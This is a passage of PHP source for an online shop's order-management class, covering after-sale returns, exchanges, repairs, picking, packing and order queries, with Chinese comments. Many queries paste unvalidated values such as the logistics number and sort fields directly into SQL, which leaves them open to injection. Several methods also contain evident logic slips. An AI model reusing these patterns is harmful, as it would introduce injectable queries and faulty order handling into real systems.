= $memberExchangeOrderID; $addResult = $this->_addBarterVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REJECT_VERIFY_RESULT_FAILURE','添加[换货审核信息]失败'); } // 更改换货订单状态 $changeResult = $this->_changeMemberExchangeOrderStatus($memberExchangeOrderID, parent::MEMBEREXCHANGEORDERSTATUS_FAILURE); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_EXCHANGE_TO_FAILURE_FAILURE','改变[换货订单状态为失败]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberExchangeOrderID($memberExchangeOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_BARTER_FAILURE); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_REFUSEBARTER_FAILURE','操作[驳回换货申请]失败'); } } /* 官网用户申请返修 */ public function applyAfterSale($memberOrderID, $afterSaleInfo) { if ($afterSaleInfo['type'] == 'repair') { $result = $this->applyRepairOrderGoods($memberOrderID,$afterSaleInfo); } if ($afterSaleInfo['type'] == 'return') { $result = $this->applyRejectOrderGoods($memberOrderID,$afterSaleInfo); } if ($afterSaleInfo['type'] == 'exchange') { $result = $this->applyBarterOrderGoods($memberOrderID,$afterSaleInfo); } if ($result['status'] == 'success') { return parent::successReturnData(); } else { return $result; } } /* 申请返修 */ public function applyRepairOrderGoods($memberOrderID,$repairInfo,$goodsEntityIDList = array()) { // 检查该MemberOrderID是否已经有对应的返修单了。-- @todo 此处是否有事务必要,将来是不是有返修限制。 if ($this->_isAlreadyRepair($memberOrderID)) { $this->_db->query('rollback'); return parent::errorReturnData('MEMBERORDER_REPAIR_ALREADY', '该订单已经有过返修记录了'); } $this->_db->query('start transaction'); // 生成核心订单 $coreOrderID = parent::generateCoreOrderForPeripheral('MemberRepairOrder'); if (!$coreOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('COREORDER_GENERATE_ERROR', '订单生成失败', '核心订单生成失败'); } // 将退货信息获取到,并存储。 $repairInfo['MemberOrderID'] = $memberOrderID; $repairInfo['CoreOrderID'] = $coreOrderID; $memberRepairOrderID = $this->_addMemberRepairOrder($repairInfo); if (!$memberRepairOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_MEMBERREPAIR_ORDER_FAILURE','添加到[返修信息表]失败'); } if (is_array($goodsEntityIDList) && count($goodsEntityIDList) > 0) { // 将返修的货品信息写入到CoreOrderGoodsEntity,订单货品明细。 $addEntityResult = parent::addGoodsEntity($coreOrderID,$goodsEntityIDList); if (!$addEntityResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_GOODSENTITY_FAILURE','返修申请失败','添加到[订单货品明细表]失败'); } } // 回写核心订单。 $bindResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberRepairOrder', $memberRepairOrderID); if (!$bindResult) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','回写到核心订单表中时出错'); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_APPLY_REPAIR); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_APPLYREPAIR_FAILURE','操作[申请返修]失败'); } } /* 收到返修,确认完毕,同意返修 - 返还用户资金 */ public function agreeRepairOrderGoods($memberRepairOrderID, $adminID, $verifyResult,$goodsEntityIDList) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::REPAIRORDERAPPLY_VERIFY_RESULT_AGREE; $verifyResult['MemberRepairOrderID'] = $memberRepairOrderID; $addResult = $this->_addRepairVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REPAIR_VERIFY_RESULT_FAILURE','添加[退货审核信息]失败'); } // 更改换货订单状态 $changeResult = $this->_changeMemberRepairOrderStatus($memberRepairOrderID, parent::MEMBERREPAIRORDERSTATUS_SUCCESS); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_REPAIR_TO_SUCCESS_FAILURE','改变[返修订单状态为成功]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberRepairOrderID($memberRepairOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } // 将要换的新品货品编号存入 OrderSupplyGoods 表中 $coreOrderID = $this->_getMemberOrderIDByMemberRepairOrderID($memberRepairOrderID); $addEntityResult = parent::addSupplyGoodsEntity($coreOrderID, $goodsEntityIDList); $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_REPAIR_SUCCESS); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_AGREEREPAIR_FAILURE','操作[同意返修申请]失败'); } } /* 收到返修,确认完毕,拒绝返修 - 同用户协商理由和资金处置办法 */ public function refuseRepairOrderGoods($memberRepairOrderID, $adminID, $verifyResult) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::REPAIRORDERAPPLY_VERIFY_RESULT_REFUSE; $verifyResult['MemberRepairOrderID'] = $memberRepairOrderID; $addResult = $this->_addRepairVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REPAIR_VERIFY_RESULT_FAILURE','添加[返修审核信息]失败'); } // 更改换货订单状态 $changeResult = $this->_changeMemberExchangeOrderStatus($memberRepairOrderID, parent::MEMBERREPAIRORDERSTATUS_FAILURE); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_REPAIR_TO_FAILURE_FAILURE','改变[返修订单状态为失败]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberRepairOrderID($memberRepairOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_REPAIR_FAILURE); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_REFUSEREPAIR_FAILURE','操作[驳回返修申请]失败'); } } /* 收到换货,确认完毕,拒绝换货 - 同用户协商理由和资金处置办法 */ public function cancleOrder($memberOrderID) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_CANCLE); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_CANCLE_FAILURE','操作[取消订单]失败'); } } public function bindlogistics($coreOrderID, $logisticsInfo) { $logisticsNumber = trim($logisticsInfo['LogisticsNumber']); $set = " set LogisticsNumber={$logisticsNumber}"; $logisticsCompany = $logisticsInfo['LogisticsCompany']; if ($logisticsCompany > 0) { $set .= ",LogisticsCompany={$logisticsCompany} "; } $sql = "update MemberOrder {$set} where CoreOrderID={$coreOrderID}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /* 订单更新为打包完成 */ public function packofforder($memberOrderID) { $checkResult = $this->checkIsMatchMemberOrderStatus($memberOrderID,null, parent::MEMBERORDERSTATUS_PACKOFF); if ($checkResult == true) { return parent::successReturnData(); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PACKOFF); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_CANCLE_FAILURE','操作[打包完成]失败'); } } /** * 将订单状态更改为拣货中。 * @param [type] $coreOrderID [description] * @return [type] [description] */ public function startPickOrder($memberOrderID, $coreOrderID, $adminID) { if (!$memberOrderID || !$coreOrderID) { return false; } $this->_db->query('start transaction'); // 检查或改变订单状态 $checkResult = $this->isOrderStatusPick($memberOrderID); if ($checkResult === false) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PICKING, true); if ($result === false) { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_PICKING_FAILURE','操作[开始拣货]失败'); } } // 检测或生成 供货ID $checkResult = parent::checkIfExistSupplyRecord($coreOrderID); if ($checkResult === false) { $supplyRecordData['CoreOrderID'] = $coreOrderID; $supplyRecordData['AdminID'] = $adminID; $supplyRecordData['SupplyTime'] = date('Y-m-d H:i:s'); $supplyRecordID = parent::_addSupplyRecord($supplyRecordData); } else { $supplyRecordID = $checkResult['SupplyRecordID']; } if (!$supplyRecordID) { $this->_db->query('rollback'); return self::errorReturnData('SupplyRecord_Error','没有生成供货记录'); } $data['SupplyRecordID'] = $supplyRecordID; // 获取货品信息 $goodsInfo = parent::_getSupplyGoodsInfo($coreOrderID, $supplyRecordID); $data['GoodsInfo'] = $goodsInfo['GoodsInfo']; $this->_db->query('commit'); return parent::successReturnData($data); } private function isOrderStatusPick($memberOrderID) { $sql = "select MemberOrderStatusID from MemberOrder where MemberOrderID={$memberOrderID} limit 1"; $result = $this->_db->getToArray($sql); $memberOrderStatusID = $result['MemberOrderStatusID']; if ($memberOrderStatusID == parent::MEMBERORDERSTATUS_PICKING) { return true; } else { return false; } } public function pickOffOrder($coreOrderID, $supplyRecordID, $adminID) { // 判断是拣货完毕了 $checkResult = parent::_getSupplyGoodsInfo($coreOrderID, $supplyRecordID); $complete = $checkResult['complete']; if ($complete == true) { // 拣货状态咱不检查 // 确实完毕了,检查订单状态是否是拣货完毕,如果是返回true,否则,去修改。 $targetStatus = parent::MEMBERORDERSTATUS_PICKOFF; $isMatch = $this->checkIsMatchMemberOrderStatus(null, $coreOrderID, $targetStatus); if ($isMatch) { # go on } else { // 更新拣货状态到拣货完毕 // 更新订单状态到拣货完毕 $memberOrderID = $this->getMemberOrderIDByCoreOrderID($coreOrderID); $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PICKOFF); if (!$result) { return parent::errorReturnData('ChangeOrderStatus_PickOff_Error','订单状态更新成【拣货完成】失败'); } } return parent::successReturnData(); } else { return parent::errorReturnData('SupplyGoods_Picking','货品还没有拣货完毕'); } } public function checkIsMatchMemberOrderStatus($memberOrderID, $coreOrderID, $targetStatus) { if ($memberOrderID) { $memberOrderDetail = $this->getMemberOrderDetail($memberOrderID, 'MemberOrderStatusID'); } if ($coreOrderID) { $memberOrderDetail = $this->getMemberOrderDetail(null, 'MemberOrderStatusID', $coreOrderID); } $status = $memberOrderDetail['MemberOrderStatusID']; if ($status == $targetStatus) { return true; } else { return false; } } public function packMemberOrderGoodsEntity($goodsEntityID, $goodsID, $adminID) { $this->_db->query('start transaction'); $packResult = parent::packOrderGoodsItem($goodsEntityID, $goodsID, $adminID); if ($packResult['status'] == 'failed') { $this->_db->query('rollback'); return $packResult; } else { $coreOrderID = $packResult['data']['CoreOrderID']; if (!$coreOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderID_Error', '无法获取到对应的订单编号'); } // 开始改变订单状态 $isPacking = $this->isMemberOrderPacking(null, $coreOrderID); if (!$isPacking) { $memberOrderID = $this->getMemberOrderIDByCoreOrderID($coreOrderID); $changeResult = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PACKING); if (!$changeResult) { return parent::errorReturnData('ChangeOrderStatus_Packing_Error','修改订单状态至打包中失败'); } } $packInfo = parent::getPackOrderGoodsEntity($coreOrderID); $data['CoreOrderID'] = $coreOrderID; $data['GoodsInfo'] = $packInfo['GoodsInfo']; $complete = $data['complete']; if ($complete == true) { $memberOrderID = $this->getMemberOrderIDByCoreOrderID($coreOrderID); $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PACKOFF); } $this->_db->query('commit'); return parent::successReturnData($data); } } private function isMemberOrderPacking($memberOrderID, $coreOrderID) { if (!$memberOrderID && !$coreOrderID) { return false; } if ($memberOrderID) { $sql = "select MemberOrderStatusID from MemberOrder where MemberOrderID = {$memberOrderID}"; } elseif ($coreOrderID) { $sql = "select MemberOrderStatusID from MemberOrder where CoreOrderID = {$coreOrderID}"; } $result = $this->_db->getToArray($sql); $memberOrderStatusID = $result['MemberOrderStatusID']; if ($memberOrderStatusID == parent::MEMBERORDERSTATUS_PACKING) { return true; } else { return false; } } public function isOrderStatusPackOff($memberOrderID) { if (!$memberOrderID) { return false; } $sql = "select MemberOrderStatusID from MemberOrder where MemberOrderID = {$memberOrderID}"; $result = $this->_db->getToArray($sql); $memberOrderStatusID = $result['MemberOrderStatusID']; if ($memberOrderStatusID == parent::MEMBERORDERSTATUS_PACKING) { return true; } else { return false; } } /************ 以下为所有MemberOrder表的相关操作 *************/ /** * 获得用户订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'MemberID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'MemberOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getMemberOrderCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } $sql = "select count(*) as Count from MemberOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得用户订单列表,支持各种状态搜索 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getMemberOrderList($pager = array(), $condition = array(), $sort = array(),$specialFields = array()) { $where = ''; if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } $limit = " limit 0,10"; if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } $orderBy = " order by MemberOrderID desc"; if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } $fields = '*'; if (is_array($specialFields) && count($specialFields) > 0) { $fields = implode(',', $specialFields); } $sql = "select {$fields} from MemberOrder {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } public function getAftersaleRecordCount($condition = array()) { $afterSaleOrderTypeID = array( ORDERTYPE_MEMBER_BARTER, ORDERTYPE_MEMBER_REFUND, ORDERTYPE_MEMBER_REPAIR); $orderTypeStr = implode(',', $afterSaleOrderTypeID); $where = " where OrderTypeID in {$orderTypeStr}"; $sql = "select count(*) as Count from CoreOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } public function getAftersaleRecordList($pager = array(), $condition = array(), $sort = array(),$specialFields = array()) { $afterSaleOrderTypeID = array( ORDERTYPE_MEMBER_BARTER, ORDERTYPE_MEMBER_REFUND, ORDERTYPE_MEMBER_REPAIR); $orderTypeStr = implode(',', $afterSaleOrderTypeID); $where = " where OrderTypeID in {$orderTypeStr}"; $sql = "select * from CoreOrder {$where}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 获取订单详情,仅获取订单信息,不包含货物信息。 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getMemberOrderDetail($memberOrderID = null, $specialFields = array(), $coreOrderID = null) { if (!$memberOrderID && !$coreOrderID) { return false; } if ($memberOrderID) { $where = " where MemberOrderID = {$memberOrderID}"; } if ($coreOrderID) { $where = " where CoreOrderID = {$coreOrderID}"; } $fields = "*"; if (is_array($specialFields) && count($specialFields) > 0 ) { $fields = implode(',', $specialFields); } $sql = "select {$fields} from MemberOrder {$where}"; $memberOrderDetail = $this->_db->getToArray($sql); return $memberOrderDetail; } /** * 未发货时,获取订单包含的商品。 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getMemberOrderGoodsDetail($memberOrderID,$goodsFields = array(), $coreOrderID = null) { if (!$memberOrderID && !$coreOrderID) { return false; } if (!$coreOrderID) { $coreOrderID = $this->_getCoreOrderIDByMemberOrderID($memberOrderID); } if (!$coreOrderID) { return false; } $goodsList = parent::getOrderGoodsDetail($coreOrderID, $goodsFields, false); return $goodsList; } public function getMemberOrderAttrSpec($coreOrderGoodsID = null, $attrFields=array(), $specFields=array()) { if (!$coreOrderGoodsID) { return false; } $attributeList = parent::getOrderGoodsAttr($coreOrderGoodsID, $attrFields); $specificationList = parent::getOrderGoodsSpec($coreOrderGoodsID, $specFields); $attrSpec['attribute'] = $attributeList; $attrSpec['specification'] = $specificationList; return $attrSpec; } /** * 根据MemberOrderID获得MemberIDList * @param [type] $orderIDList [description] * @return [type] [description] */ public function getMemberIDListByOrder($memberOrderIDList) { if (!is_array($memberOrderIDList) || count($memberOrderIDList) < 0 ) { return false; } $orderIDString = '(' . implode(',', $memberOrderIDList) . ')'; $where = " where MemberOrderID in {$orderIDString}"; $sql = "select MemberOrderID,MemberID from MemberOrder {$where}"; $result = $this->_db->loadToArray($sql,'MemberOrderID','MemberID'); return $result; } /** * 根据 MemberOrderID 获得 AgentID/StoreID/SourceTypeID * @param [type] $memberOrderIDList [description] * @return [type] [description] */ public function getAgentInfoListByOrder($memberOrderIDList) { if (!is_array($memberOrderIDList) || count($memberOrderIDList) < 0 ) { return false; } $orderIDString = '(' . implode(',', $memberOrderIDList) . ')'; $where = " where MemberOrderID in {$orderIDString}"; $sql = "select AgentID,StoreID,SourceTypeID,MemberOrderID from MemberOrder {$where}"; $result = $this->_db->loadToArray($sql,'MemberOrderID'); return $result; } /** * 获得各个状态下的订单数量 * @param [type] $type [description] * @return [type] [description] */ public function getOrderCountByMemberID($type, $memberID = 0) { if (!in_array($type, array('all','pay','deliver','complete'))) { return false; } $memberOrderStatusID = self::getMemberOrderStatusIDByType($type); if ($memberOrderStatusID == null) { $where = " where MemberID = {$memberID}"; } elseif (is_numeric($memberOrderStatusID)) { $where = " where MemberOrderStatusID = {$memberOrderStatusID} and MemberID = {$memberID}"; } elseif (is_array($memberOrderStatusID)) { $orderString = '(' . implode(',', $memberOrderStatusID) . ')'; $where = " where MemberOrderStatusID in {$orderString} and MemberID = {$memberID}"; } $sql = "select count(*) as Count from MemberOrder {$where}"; $resource = $this->_db->getToArray($sql); $count = $resource['Count']; return $count; } public function getMemberOrderIDByCoreOrderID($coreOrderID) { if (!$coreOrderID) { return false; } $memberOrderID = $this->_getMemberOrderIDByCoreOrderID($coreOrderID); return $memberOrderID; } /***************** 以下为商品、货品的相关操作 *******************/ /** * 获取 某人购买的货品数量。 * @param array $condition [description] * @return [type] [description] */ public function getPurchaseGoodsCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberGoodsWhereCondition($condition); } $sql = "select count(*) as Count from CoreOrderGoods left join MemberOrder on CoreOrderGoods.CoreOrderID = MemberOrder.CoreOrderID {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @param array $specialFields [description] * @return [type] [description] */ public function getPurchaseGoodsList($pager = array(), $condition = array(), $sort = array(),$specialFields = array()) { $limit = " limit 0,10"; if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } $where = " "; if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberGoodsWhereCondition($condition); } $orderBy = " order by GoodsID desc"; if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } $fields = "*"; if (is_array($specialFields) && count($specialFields) > 0) { $fields = implode(',', $specialFields); } $sql = "select {$fields} from CoreOrderGoods left join MemberOrder on CoreOrderGoods.CoreOrderID = MemberOrder.CoreOrderID {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 根据核心订单ID获得商品列表,同时要判断出哪些能申请退货、哪些能申请换货、哪些能申请返修。 * @param [type] $coreOrderID [description] * @return [type] [description] */ public function getGoodsListByCoreOrderID($coreOrderID) { } public function getGoodsNameByGoodsOrderIDAndGoodsID($coreOrderID,$goodsID) { if (!$coreOrderID || !$goodsID) { return false; } $sql = "select GoodsName from CoreOrderGoods where CoreOrderID = {$coreOrderID} and GoodsID = {$goodsID} limit 1"; $result = $this->_db->getToArray($sql); $goodsName = $result['GoodsName']; return $goodsName; } /************ 以下为所有MemberReturnOrder表的相关操作 *************/ /** * 获得用户退货订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'MemberID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'MemberOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getMemberReturnOrderCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberReturnOrderWhereCondition($condition); } $leftJoin = ''; $ifJoinMember = $this->checkReturnOrderIfJoinMemberOrder($condition); if ($ifJoinMember === true) { $leftJoin .= " left join MemberOrder on MemberReturnOrder.MemberOrderID = MemberOrder.MemberOrderID "; } $ifJoinGoodsEntity = $this->checkReturnOrderIfJoinGoodsEntity($condition);//CoreOrderGoodsEntity if ($ifJoinGoodsEntity) { $leftJoin .= " left join CoreOrderGoodsEntity on MemberReturnOrder.CoreOrderID = CoreOrderGoodsEntity.CoreOrderID "; } $sql = "select count(*) as Count from MemberReturnOrder {$leftJoin} {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得用户退货订单列表,支持各种状态搜索 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getMemberReturnOrderList($pager = array(), $condition = array(), $sort = array(), $specialFields = array()) { if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } else { $limit = " limit 0,10"; } if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberReturnOrderWhereCondition($condition); } if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } else { $orderBy = " order by MemberReturnOrderID desc"; } $fields = "*"; if (is_array($specialFields) && count($specialFields) > 0) { $fields = implode(',', $specialFields); } $leftJoin = ''; $ifJoinMember = $this->checkReturnOrderIfJoinMemberOrder($condition); if ($ifJoinMember === true) { $leftJoin .= " left join MemberOrder on MemberReturnOrder.MemberOrderID = MemberOrder.MemberOrderID "; } $ifJoinGoodsEntity = $this->checkReturnOrderIfJoinGoodsEntity($condition);//CoreOrderGoodsEntity if ($ifJoinGoodsEntity) { $leftJoin .= " left join CoreOrderGoodsEntity on MemberReturnOrder.CoreOrderID = CoreOrderGoodsEntity.CoreOrderID "; } $sql = "select {$fields} from MemberReturnOrder {$leftJoin} {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 判断是否需要join MemberOrder表 * @return [type] [description] */ public function checkReturnOrderIfJoinMemberOrder($condition) { if (isset($condition['MemberID']) && $condition['MemberID'] > 0) { return true; } if (isset($condition['AgentID']) && $condition['AgentID'] > 0) { return true; } return false; } /** * 判断是否需要join MemberOrder表 * @return [type] [description] */ public function checkReturnOrderIfJoinGoodsEntity($condition) { if (isset($condition['GoodsEntityID']) && $condition['GoodsEntityID'] > 0) { return true; } return false; } /** * 获取某个货品的名称和相关属性,@todo 暂时只获取名称 * @param [type] $memberOrderID [description] * @param [type] $goodsEntityID [description] * @return [type] [description] */ public function getMemberGoodsEntityDetail($memberOrderID, $goodsEntityID) { $sql = "select MemberOrder.CoreOrderID,GoodsID from MemberOrder left join CoreOrderGoodsEntity on MemberOrder.CoreOrderID=CoreOrderGoodsEntity.CoreOrderID where MemberOrderID={$memberOrderID} and GoodsEntityID={$goodsEntityID}"; $result = $this->_db->getToArray($sql); if (!is_array($result) || count($result) <= 0) { return false; } $coreOrderID = $result['CoreOrderID']; $goodsID = $result['GoodsID']; $sql = "select GoodsName,SalePrice from CoreOrderGoods where CoreOrderID = {$coreOrderID} and GoodsID = {$goodsID}"; $goodsInfo = $this->_db->getToArray($sql); return $goodsInfo; } /** * 获取退货订单详情,仅获取订单信息,不包含货物信息。 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getMemberReturnOrderDetail($memberReturnOrderID) { if (!$memberReturnOrderID) { return false; } $sql = "select * from MemberReturnOrder where MemberReturnOrderID={$memberReturnOrderID}"; $memberReturnOrderDetail = $this->_db->getToArray($sql); return $memberReturnOrderDetail; } /** * 根据退货订单获取到他对应的原始订单ID * @return [type] [description] */ public function getMemberOrderIDListByReturn($memberReturnOrderIDList) { $inString = '(' . implode(',', $memberReturnOrderIDList) . ')'; $result = $this->_getMemberOrderListByOther('MemberReturnOrder', $inString); return $result; } /************ 以下为所有MemberExchangeOrder表的相关操作 ***********/ /** * 获得用户换货订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'MemberID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'MemberOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getMemberExchangeOrderCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } $sql = "select count(*) as Count from MemberExchangeOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得用户换货订单列表,支持各种状态搜索 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getMemberExchangeOrderList($pager = array(), $condition = array(), $sort = array(), $targetFields = array()) { if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } else { $limit = " limit 0,10"; } if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } else { $orderBy = " order by MemberExchangeOrderID desc"; } // 要获取的字段 $fields = '*'; if (is_array($targetFields) && count($targetFields)) { $fields = implode(',', $targetFields); } $sql = "select {$fields} from MemberExchangeOrder {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 获取换货订单详情,仅获取订单信息,不包含货物信息。 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getMemberExchangeOrderDetail($memberExchangeOrderID) { if (!$memberExchangeOrderID) { return false; } $sql = "select * from MemberExchangeOrder where MemberExchangeOrderID={$memberExchangeOrderID}"; $memberExchangeOrderDetail = $this->_db->getToArray($sql); return $memberExchangeOrderDetail; } /** * 根据换货订单获取到他对应的原始订单ID * @return [type] [description] */ public function getMemberOrderIDListByExchange($memberExchangeOrderIDList) { $inString = '(' . implode(',', $memberExchangeOrderIDList) . ')'; $result = $this->_getMemberOrderListByOther('MemberExchangeOrder', $inString); return $result; } /************ 以下为所有MemberRepairnOrder表的相关操作 ************/ /** * 获得用户返修订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'MemberID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'MemberOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getMemberRepairOrderCount($condition = array()) { if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } $sql = "select count(*) as Count from MemberRepairOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得用户返修订单列表,支持各种状态搜索 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getMemberRepairOrderList($pager = array(), $condition = array(), $sort = array(), $targetFields = array()) { if (is_array($pager) && isset($pager['first']) && isset($pager['limit'])) { $limit = " limit {$pager['first']},{$pager['limit']}"; } else { $limit = " limit 0,10"; } if (is_array($condition) && count($condition) > 0 ) { $where = $this->_generateMemberOrderWhereCondition($condition); } if (is_array($sort) && isset($sort['sortKey']) && isset($sort['sortValue'])) { $orderBy = " order by {$sort['sortKey']} {$sort['sortValue']}"; } else { $orderBy = " order by MemberRepairOrderID desc"; } // 要获取的字段 $fields = '*'; if (is_array($targetFields) && count($targetFields)) { $fields = implode(',', $targetFields); } $sql = "select {$fields} from MemberRepairOrder {$where} {$orderBy} {$limit}"; $result = $this->_db->loadToArray($sql); return $result; } /** * 获取换货订单详情,仅获取订单信息,不包含货物信息。 * @param [type] $memberOrderID [description] * @return [type] [description] */ public function getMemberRepairOrderDetail($memberRepairOrderID) { if (!$memberRepairOrderID) { return false; } $sql = "select * from MemberRepairOrder where MemberRepairOrderID={$memberRepairOrderID}"; $memberRepairOrderDetail = $this->_db->getToArray($sql); return $memberRepairOrderDetail; } /** * 根据换货订单获取到他对应的原始订单ID * @return [type] [description] */ public function getMemberOrderIDListByRepair($memberRepairOrderIDList) { $inString = '(' . implode(',', $memberRepairOrderIDList) . ')'; $result = $this->_getMemberOrderListByOther('MemberRepairOrder', $inString); return $result; } /********** 一些公共操作方法 *************/ /** * 获取状态ID对应的名称。getMemberOrderStatusNameByOrderStatusID * @param [type] $orderStatusID [description] * @return [type] [description] * */ public function getMemberOrderStatusNameByOrderStatusID($orderStatusID) { if (!$orderStatusID) { return false; } $statusName = parent::getOrderStatusNameByOrderStatusID('MemberOrder' , $orderStatusID); return $statusName; } /** * 获得退货订单状态 * @param [type] $returnOrderStatusID [description] * @return [type] [description] */ public function 